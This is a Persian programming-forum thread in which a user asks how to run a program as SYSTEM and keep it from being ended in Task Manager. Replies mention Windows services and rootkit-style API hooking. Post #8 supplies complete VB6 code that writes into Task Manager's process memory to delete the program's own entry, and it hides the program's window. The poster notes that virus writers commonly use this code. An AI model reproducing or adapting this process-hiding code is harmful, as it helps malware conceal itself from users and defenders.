تبلیغات :
ماهان سرور
آکوستیک ، فوم شانه تخم مرغی ، پنل صداگیر ، یونولیت
دستگاه جوجه کشی حرفه ای
فروش آنلاین لباس کودک
خرید فالوور ایرانی
خرید فالوور اینستاگرام
خرید ممبر تلگرام

[ + افزودن آگهی متنی جدید ]




نمايش نتايج 1 به 9 از 9

نام تاپيک: مهم: اجرای سیستمی برنامه

  1. #1
    در آغاز فعالیت
    تاريخ عضويت
    May 2009
    پست ها
    6

    14 مهم: اجرای سیستمی برنامه

    سلام به همه اساتید
    یک پروژه امنیتی داشتم که نیاز دارم رویکردهای زیر رو داخلش اعمال کنم اما راهی بلد نیستم برای انجام اینکار از دوستان و اساتید محترم سه سوال داشتم

    1) آیا راهی وجود دارد که برنامه ای را بصورت سیستمی (در یوزر System) اجرا کرد بگونه ای که در TaskManager ویندوز بجای نوشتن نام کاربر نام System را نشان دهد، همانند تصویر زیر؟

    2) آیا راهی وجود دارد برنامه خود را بگونه ای اجرا کنیم که وقتی کاربر بر دکمه EndProcess در تسک منجر کلیک میکند با پیام AccessDenied تسک منجر مواجه شود همانند آنتی ویروس Kaspersky یا Nod32

    3) آیا راهی وجود دارد که از بسته شدن برنامه در پنجره EndNow (همان پنجره ای که موقع قفل شدن برنامه با کلیک بر دکمه Close ظاهر میشود) جلوگیری کرد همانند آنتی ویروس Kaspersky که از این روش استفاده میکند
    باتشکر از همه دوستان


  2. این کاربر از msnv بخاطر این مطلب مفید تشکر کرده است


  3. #2
    ناظر انجمن .NET Framework _H2_'s Avatar
    تاريخ عضويت
    Feb 2007
    محل سكونت
    یک جایی بین Framework و نارمک!
    پست ها
    4,746

    پيش فرض

    سلام
    برنامه های عادی یا WinApp هستند و یا WinConsole ولی نوع دیگری از برنامه با نام WinService وجود دارد که میتواند شرایط گفته شده را داشته باشد.
    البته VB6-1998 به صورت ذاتی فقط توانایی ایجاد برنامه های WinApp عادی را دارد.
    شاید ابزار و dll و... عرضه شده باشد که توانایی اضافه ای به VB6 بدهد ولی من اطلاع ندارم.


    ولی VB10-2010 به صورت ذاتی توانایی تعامل و ایجاد انواع گسترده ای از برنامه ها را دارد از جمله:
    WinService
    (WinApp(Normal+WPF
    WinConsole
    WinMobile/Phone
    WebApp
    WebService
    AddIn-Office2007/2010
    و ...

    موفق باشید.

  4. این کاربر از _H2_ بخاطر این مطلب مفید تشکر کرده است


  5. #3
    کـاربـر بـاسـابـقـه god of war 2's Avatar
    تاريخ عضويت
    Jun 2007
    پست ها
    585

    پيش فرض

    راه های دیگری هم هست که یکم پیچیده هست ولی قدرت مانور بالایی داره و کلا اختیارات کامل سیستم در دست شما قرار میگیره.
    شما میتونید یک HOOK در حافظه نصب کنید و تسک منیجر رو تحت کنترل خودتون بگیرید و کاری کنید که اصلا پروسه مورد نظر شما در لیست پروسه های در حال اجرا نمایش داده نشه. فقط باید یکی از API های ویندوز(SendMessageW) را که مسئول این قسمت هست رو طوری باز نویسی کنی که هنگامی که پیامی مبتنی بر ثبت پروسه شما در لیست تسک منیجر فرستاده شد جولوی اونو بگیره. از این متود بیشتر در Rootkit ها استفاده میشه ولی بعضی از برنامه های سیستمی هم از این متود استفاده میکنند.
    اگر توضیحات بیشتری خواستید میتونم کمکتون کنم.

  6. این کاربر از god of war 2 بخاطر این مطلب مفید تشکر کرده است


  7. #4
    پروفشنال MichaelQwerty's Avatar
    تاريخ عضويت
    Apr 2007
    محل سكونت
    روبروی مانیتور کامپیوترم
    پست ها
    770

    13 sendmessagew

    سلام به دوستان عزیز
    میشه بیشتر در رابطه با این موضوع توضیح بدین و هم چنین طرز کار با sendmessagew

  8. #5
    کـاربـر بـاسـابـقـه god of war 2's Avatar
    تاريخ عضويت
    Jun 2007
    پست ها
    585

    پيش فرض

    سلام به دوستان عزیز
    میشه بیشتر در رابطه با این موضوع توضیح بدین و هم چنین طرز کار با sendmessagew
    سلام.
    اگر منظورتون از طرز کار با این Api همان بازنویسی و تغییر آن هست که بنده در پست قبلیم گفتم توضیحش مفصله ولی بصورت مختصر توضیح میدم اگر اطلاعات بیشتری هم خواستید منابع زیادی در نت وجود دارد که با یک جستجو پیدا میکنید.
    سیستم عامل ویندوز طوری طراحی شده که ارتباط بین قسمت های مختلف خود را از طریق ارسال و دریافت پیام برقرار میکند.
    بطور مثال زمانی که شما یک برنامه را اجرا میکنید اطلاعات آن (مثل: نام - فضای لازم در رم برای بارگذاری و ...) توسط API به نام SendMessage به مرکز دریافت این پیام در سیستم عامل ارسال میشه سپس سیستم عامل توسط همین API پیامی مبتنی بر ثبت آن در لیست پروسه های در حال اجرا به TaskManager از طریق همین API ارسال میکنه.
    برای اینکه بتونیم از ارسال این پیام قبل از اینکه به TaskManager ارسال بشه جلوگیری کنیم باید از یک Hook استفاده کنیم.
    Hook ها در حقیقت شنودگر هایی هستند که انواع مختلفی دارند و میشه اونهارو در قسمتهایی از سیستم عامل نصب کرد و برای اهداف مختلفی از آن استفاده کرد.
    Hook ها معمولا از دو قسمت تشکیل میشوند یک DLL که در آن توابعی برای پاسخ گویی به قسمتهای شنود شده قرار دارد و یک فایل اجرایی که DLL را در حافظه بار گذاری میکند.
    حالا برای اینکه ما بتونیم جلوی این پیامو بگیریم باید Api مسئول آن یعنی همان SendMessage را بازنویسی کنیم که به این عمل Code Injection گفته میشه. برای این کار متود های زیادی وجود دارد که هرکدام سختی ها و پیچیدگی های خود را دارند.
    بطور مثال شما یک برنامه نوشتید که از یک DLL به نام MyDll استفاده میکنه که در دایرکتوری برنامه شما قرار داره فرض میکنیم این DLL توسط سیستم عامل حفاظت شده هست و نمیشه اونو پاک کرد و یا با یک DLL همنام جایگزین کرد(مانند اکثر کتابخانه های API ویندوز). زمانی که برنامه شما اجرا میشه یک کپی از این DLL در حافظه بارگزاری میشه حالا شخص دیگری که قصد اختلال در برنامه شما را داره و میخواد کنترل آن را بدست بگیره یک DLL با مشخصات DLL شما و شامل تمام توابع و کلاسهای آن البته بازنویسی شده و دستکاری شده درست در مکانی از حافظه که DLL اصلی بارگذاری شده قرار میدهد و میشه گفت جایگزین DLL اصلی میکند.حالا برنامه شما در حال استفاده از DLL تقلبی و بازنویسی شده هست.
    البته این کار به همین سادگی هم نیست و مشکلات زیادی در سر راه قرار دارد ولی این روش یک متود در این ضمینه بحساب میاد و در موارد مختلفی از این روش استفاده شده.
    متاسفانه زیاد وقت آزاد ندارم و توضیحاتی هم که دادم بسیار مخjصر بود و برای اطلاعات بیشتر باید از منابع خارجی کمک بگیرید.
    موفق باشید.

  9. این کاربر از god of war 2 بخاطر این مطلب مفید تشکر کرده است


  10. #6
    در آغاز فعالیت
    تاريخ عضويت
    Dec 2008
    پست ها
    12

    پيش فرض

    آقا من کل اینترنت و گشتم هیچکی نبود جواب درست حسابی بده به این سوال لطف میکنین یه مثال بزارین واسه این کار ممنون میشم دوستان

  11. #7
    اگه نباشه جاش خالی می مونه sosani2007's Avatar
    تاريخ عضويت
    Aug 2012
    محل سكونت
    گناباد
    پست ها
    293

    پيش فرض

    آقا من کل اینترنت و گشتم هیچکی نبود جواب درست حسابی بده به این سوال لطف میکنین یه مثال بزارین واسه این کار ممنون میشم دوستان
    میشه منظورت رو واضح بگی

  12. #8
    اگه نباشه جاش خالی می مونه SURIV's Avatar
    تاريخ عضويت
    Nov 2010
    محل سكونت
    جایی که واژه ها معنی ندارند.
    پست ها
    286

    پيش فرض

    با سلام
    در vb6 مثال و کد برای سیستمی کردن پروسس ندیدم ولی برای مخفی کردن پروسس کد زیر رو دارم ولی فایده ای نداره چون همه آنتی ویروسها بهش گیر میدن به خاطر اینکه از وقتی پابلیک شده به کرات در ویروس نویسی مورد استفاده قرار گرفته:

    یه تایمر بسازین و:

    Private Type bkh
    flag As Long
    psz As Long
    lParam As Long
    pt As Long
    vkDirection As Long
    End Type
    Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
    Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long
    Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
    Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long
    Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long
    Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
    Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long


    Private Sub Hide_Process(Name As String)
    Dim pName As Long
    Dim pType As Long
    Dim l As Long
    Dim Tid As Long
    Dim hTid As Long
    Dim pid As Long
    Dim h As Long
    Dim i As Long
    Dim hProcess As Long
    Dim f As bkh
    Dim s As String
    Dim bkh() As Byte
    h = FindWindow(vbNullString, "Windows Task Manager")
    KillTimer h, 0
    h = FindWindowEx(h, 0, "#32770", vbNullString)
    h = FindWindowEx(h, 0, "SysListView32", vbNullString)
    If h = 0 Then Exit Sub
    f.flag = 8 Or &H20
    Call GetWindowThreadProcessId(h, pid)
    hProcess = OpenProcess(1082, 0, pid)
    bkh = StrConv(Name, vbFromUnicode)
    pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
    WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l
    f.psz = pName
    pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
    WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
    i = SendMessage(h, &H1000 + 13, 0, pType)
    If i <> -1 Then SendMessage h, &H1000 + 8, i, 0
    VirtualFreeEx hProcess, pType, Len(f), &H8000
    VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
    End Sub


    Private Sub Form_Load()
    App.TaskVisible = False
    Form1.Hide
    End Sub


    Private Sub Timer1_Timer()
    Hide_Process CStr(App.EXEName & ".exe")
    End Sub

  13. #9
    اگه نباشه جاش خالی می مونه sosani2007's Avatar
    تاريخ عضويت
    Aug 2012
    محل سكونت
    گناباد
    پست ها
    293

    پيش فرض

    سلام به همه اساتید
    یک پروژه امنیتی داشتم که نیاز دارم رویکردهای زیر رو داخلش اعمال کنم اما راهی بلد نیستم برای انجام اینکار از دوستان و اساتید محترم سه سوال داشتم

    1) آیا راهی وجود دارد که برنامه ای را بصورت سیستمی (در یوزر System) اجرا کرد بگونه ای که در TaskManager ویندوز بجای نوشتن نام کاربر نام System را نشان دهد، همانند تصویر زیر؟

    2) آیا راهی وجود دارد برنامه خود را بگونه ای اجرا کنیم که وقتی کاربر بر دکمه EndProcess در تسک منجر کلیک میکند با پیام AccessDenied تسک منجر مواجه شود همانند آنتی ویروس Kaspersky یا Nod32

    3) آیا راهی وجود دارد که از بسته شدن برنامه در پنجره EndNow (همان پنجره ای که موقع قفل شدن برنامه با کلیک بر دکمه Close ظاهر میشود) جلوگیری کرد همانند آنتی ویروس Kaspersky که از این روش استفاده میکند
    باتشکر از همه دوستان

    شما برای این که این کار رو انجام بدید باید از سرویس ها استفاده کنید

Thread Information

Users Browsing this Thread

هم اکنون 1 کاربر در حال مشاهده این تاپیک میباشد. (0 کاربر عضو شده و 1 مهمان)

User Tag List

قوانين ايجاد تاپيک در انجمن

  • شما نمی توانید تاپیک ایحاد کنید
  • شما نمی توانید پاسخی ارسال کنید
  • شما نمی توانید فایل پیوست کنید
  • شما نمی توانید پاسخ خود را ویرایش کنید
  •